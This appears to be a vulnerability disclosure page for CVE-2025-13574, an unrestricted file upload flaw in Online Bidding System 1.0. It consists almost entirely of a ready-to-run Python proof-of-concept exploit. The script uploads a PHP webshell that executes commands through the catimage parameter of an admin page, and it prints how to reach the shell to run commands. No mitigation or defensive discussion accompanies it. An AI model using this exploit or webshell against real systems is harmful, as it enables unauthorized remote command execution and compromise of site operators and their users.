CVE-2025-13574 | Online Bidding System 1.0 任意文件上传漏洞

import requests import sys # CVE-2025-13574 PoC - Online Bidding System 1.0 Unrestricted File Upload # Target: /administrator/addcategory.php # Vulnerability: catimage parameter allows arbitrary file upload def exploit(target_url, admin_path='/administrator/addcategory.php'): """ Exploit for CVE-2025-13574 Upload a PHP webshell via the vulnerable catimage parameter """ # PHP webshell payload webshell = '<?php if(isset($_GET["cmd"])){ system($_GET["cmd"]); } ?>' # Prepare multipart form data files = { 'catimage': ('shell.php', webshell, 'application/x-php') } # Additional required fields (may vary based on application) data = { 'categoryadd': '1', # Trigger the categoryadd function 'catname': 'TestCategory' # Category name parameter } try: # Send the malicious upload request response = requests.post(target_url + admin_path, files=files, data=data, timeout=10) if response.status_code == 200: print('[+] File upload request sent successfully') print('[+] Check if shell was uploaded to the uploads directory') print('[+] Access shell at: ' + target_url + '/uploads/shell.php?cmd=whoami') else: print('[-] Upload failed with status code:', response.status_code) except requests.exceptions.RequestException as e: print('[-] Error:', str(e)) if __name__ == '__main__': if len(sys.argv) < 2: print('Usage: python cve_2025_13574.py <target_url>') print('Example: python cve_2025_13574.py http://target.com') sys.exit(1) target = sys.argv[1].rstrip('/') exploit(target)